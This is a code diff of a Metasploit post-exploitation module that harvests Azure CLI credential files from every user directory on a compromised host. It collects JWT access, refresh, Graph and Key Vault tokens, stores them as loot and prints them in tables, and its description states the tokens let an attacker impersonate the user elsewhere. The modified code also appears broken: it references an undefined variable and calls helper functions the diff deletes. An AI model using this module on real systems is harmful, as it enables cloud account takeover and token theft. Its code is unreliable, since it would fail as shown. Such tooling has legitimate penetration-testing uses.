1
1
##
2
- # This module requires Metasploit: http ://metasploit.com/download
2
+ # This module requires Metasploit: https ://metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -9,64 +9,46 @@ class MetasploitModule < Msf::Post
9
9
include Msf ::Post ::File
10
10
include Msf ::Post ::Unix
11
11
include Msf ::Post ::Windows ::UserProfiles
12
+ include Msf ::Post ::Azure
12
13
13
14
def initialize ( info = { } )
14
- super ( update_info ( info ,
15
- 'Name' => 'Multi Gather Azure CLI credentials' ,
16
- 'Description' => %q(
17
- This module will collect the Azure CLI 2.0 (az cli) settings files
18
- for all users on a given target. These configuration files contain
19
- JWT tokens used to authenticate users and other subscription information.
20
- Once tokens are stolen from one host, they can be used to impersonate
21
- the user from a different host.
22
- ) ,
23
- 'License' => MSF_LICENSE ,
24
- 'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ] ,
25
- 'Platform' => [ 'win' , 'linux' , 'osx' ] ,
26
- 'SessionTypes' => [ 'meterpreter' ]
27
- ) )
28
- end
29
-
30
- def process_profile_file ( file_path , file_data )
31
- table_data = [ ]
32
- data = parse_json ( file_path , file_data )
33
- if data && data . key? ( "subscriptions" )
34
- data [ "subscriptions" ] . each do |item |
35
- table_data << [ file_path , item [ "name" ] , item [ "user" ] [ "name" ] , item [ "environmentName" ] ]
36
- end
37
- end
38
- table_data
39
- end
40
-
41
- def process_tokens_file ( file_path , file_data )
42
- table_data = [ ]
43
- data = parse_json ( file_path , file_data )
44
- if data
45
- dic = { }
46
- data . each do |item |
47
- if dic . key? ( item [ "userId" ] )
48
- dic [ item [ "userId" ] ] = dic [ item [ "userId" ] ] + 1
49
- else
50
- dic [ item [ "userId" ] ] = 1
51
- end
52
- end
53
- dic . each do |key , value |
54
- table_data << [ file_path , key , value ]
55
- end
56
- end
57
- table_data
15
+ super (
16
+ update_info (
17
+ info ,
18
+ 'Name' => 'Multi Gather Azure CLI Credentials' ,
19
+ 'Description' => %q{
20
+ This module will collect the Azure CLI 2.0 (az cli) settings files
21
+ for all users on a given target. These configuration files contain
22
+ JWT tokens used to authenticate users and other subscription information.
23
+ Once tokens are stolen from one host, they can be used to impersonate
24
+ the user from a different host.
25
+ } ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Author' => [
28
+ 'James Otten <jamesotten1[at]gmail.com>' , # original author
29
+ 'h00die' # additions
30
+ ] ,
31
+ 'Platform' => [ 'win' , 'linux' , 'osx' ] ,
32
+ 'SessionTypes' => [ 'meterpreter' ] ,
33
+ 'Notes' => {
34
+ 'Stability' => [ CRASH_SAFE ] ,
35
+ 'Reliability' => [ ] ,
36
+ 'SideEffects' => [ ]
37
+ }
38
+ )
39
+ )
58
40
end
59
41
60
- def parse_json ( file_path , str )
61
- data = nil
62
- options = { : invalid => :replace , : undef => :replace , : replace => '' }
63
- str = str . encode ( Encoding . find ( 'ASCII' ) , options )
42
+ def parse_json ( data )
43
+ json_blob = nil
44
+ options = { invalid : :replace , undef : :replace , replace : '' }
45
+ str . encode ( Encoding . find ( 'ASCII' ) , options )
64
46
begin
65
- data = JSON . parse ( str )
47
+ json_blob = JSON . parse ( data )
66
48
rescue ::JSON ::ParserError
67
- print_error ( " Unable to parse #{ file_path } " )
49
+ print_error ( ' Unable to parse json blob' )
68
50
end
69
- data
51
+ json_blob
70
52
end
71
53
72
54
def user_dirs
@@ -78,54 +60,96 @@ def user_dirs
78
60
elsif session . platform == 'linux' || session . platform == 'osx'
79
61
user_dirs = enum_user_directories
80
62
else
81
- fail_with ( Failure ::BadConfig , " Unsupported platform" )
63
+ fail_with ( Failure ::BadConfig , ' Unsupported platform' )
82
64
end
83
65
user_dirs
84
66
end
85
67
86
68
def run
87
69
subscription_table = Rex ::Text ::Table . new (
88
- "Header" => "Subscriptions" ,
89
- "Columns" => [ "Source" , "Account Name" , "Username" , "Cloud Name" ]
70
+ 'Header' => 'Subscriptions' ,
71
+ 'Indent' => 1 ,
72
+ 'Columns' => [ 'Source' , 'Account Name' , 'Username' , 'Cloud Name' ]
90
73
)
91
74
tokens_table = Rex ::Text ::Table . new (
92
- "Header" => "Tokens" ,
93
- "Columns" => [ "Source" , "Username" , "Count" ]
75
+ 'Header' => 'Tokens' ,
76
+ 'Indent' => 1 ,
77
+ 'Columns' => [ 'Source' , 'Username' , 'Count' ]
94
78
)
95
- loot_type = nil
96
- description = nil
79
+ context_table = Rex ::Text ::Table . new (
80
+ 'Header' => 'Context' ,
81
+ 'Indent' => 1 ,
82
+ 'Columns' => [ 'Username' , 'Account Type' , 'Access Token' , 'Graph Access Token' , 'MS Graph Access Token' , 'Key Vault Token' ]
83
+ )
84
+
97
85
user_dirs . map do |user_directory |
98
86
vprint_status ( "Looking for az cli data in #{ user_directory } " )
99
- %w[ .azure/accessTokens.json .azure/azureProfile.json .azure/config ] . each do |file_location |
87
+ # leaving all these as lists for consistency and future expansion
88
+
89
+ # ini file content, not json.
90
+ vprint_status ( ' Checking for config files' )
91
+ %w[ .azure/config ] . each do |file_location |
100
92
possible_location = ::File . join ( user_directory , file_location )
101
- if exists? ( possible_location )
102
- data = read_file ( possible_location )
103
- if data
104
- vprint_status ( "Found az cli file #{ possible_location } " )
105
- if file_location . end_with? ( "accessTokens.json" )
106
- loot_type = "azurecli.jwt_tokens"
107
- description = "Azure CLI access/refresh JWT tokens"
108
- process_tokens_file ( possible_location , data ) . each do |item |
109
- tokens_table << item
110
- end
111
- elsif file_location . end_with? ( "config" )
112
- loot_type = "azurecli.config"
113
- description = "Azure CLI configuration"
114
- elsif file_location . end_with? ( "azureProfile.json" )
115
- loot_type = "azurecli.azure_profile"
116
- description = "Azure CLI profile"
117
- process_profile_file ( possible_location , data ) . each do |item |
118
- subscription_table << item
119
- end
120
- end
121
- stored = store_loot ( loot_type , "text/plain" , session , data , file_location , description )
122
- print_good ( "#{ possible_location } stored to #{ stored } " )
93
+ next unless exists? ( possible_location )
94
+ next unless readable? ( possible_location )
95
+
96
+ data = read_file ( possible_location )
97
+ next unless data
98
+
99
+ # https://stackoverflow.com/a/16088751/22814155 no ini ctype
100
+ loot = store_loot 'azure.config.ini' , 'text/plain' , session , data , file_location , 'Azure CLI Config'
101
+ print_good " #{ file_location } stored in #{ loot } "
102
+ end
103
+
104
+ vprint_status ( ' Checking for context files' )
105
+ %w[ .azure/AzureRmContext.json ] . each do |file_location |
106
+ possible_location = ::File . join ( user_directory , file_location )
107
+ next unless exists? ( possible_location )
108
+ next unless readable? ( possible_location )
109
+
110
+ data = read_file ( possible_location )
111
+ next unless data
112
+
113
+ loot = store_loot 'azure.context.json' , 'text/json' , session , data , file_location , 'Azure CLI Context'
114
+ print_good " #{ file_location } stored in #{ loot } "
115
+ data = parse_json ( data )
116
+ results = process_context_contents ( data )
117
+ results . each do |result |
118
+ context_table << result
119
+ end
120
+ end
121
+
122
+ %w[ .azure/accessTokens.json .azure/azureProfile.json ] . each do |file_location |
123
+ possible_location = ::File . join ( user_directory , file_location )
124
+ next unless exists? ( possible_location )
125
+
126
+ data = read_file ( possible_location )
127
+ next unless data
128
+
129
+ vprint_status ( "Found az cli file #{ possible_location } " )
130
+ if file_location . end_with? ( 'accessTokens.json' )
131
+ loot_type = 'azurecli.jwt_tokens'
132
+ description = 'Azure CLI access/refresh JWT tokens'
133
+ process_tokens_file ( possible_location , data ) . each do |item |
134
+ tokens_table << item
135
+ end
136
+ elsif file_location . end_with? ( 'config' )
137
+ loot_type = 'azurecli.config'
138
+ description = 'Azure CLI configuration'
139
+ elsif file_location . end_with? ( 'azureProfile.json' )
140
+ loot_type = 'azurecli.azure_profile'
141
+ description = 'Azure CLI profile'
142
+ process_profile_file ( possible_location , data ) . each do |item |
143
+ subscription_table << item
123
144
end
124
145
end
146
+ stored = store_loot ( loot_type , 'text/plain' , session , data , file_location , description )
147
+ print_good ( "#{ possible_location } stored to #{ stored } " )
125
148
end
126
149
end
127
150
128
- print_line ( subscription_table . to_s )
129
- print_line ( tokens_table . to_s )
151
+ print_good ( subscription_table . to_s ) unless subscription_table . rows . empty?
152
+ print_good ( tokens_table . to_s ) unless tokens_table . rows . empty?
153
+ print_good ( context_table . to_s ) unless context_table . rows . empty?
130
154
end
131
155
end
0 commit comments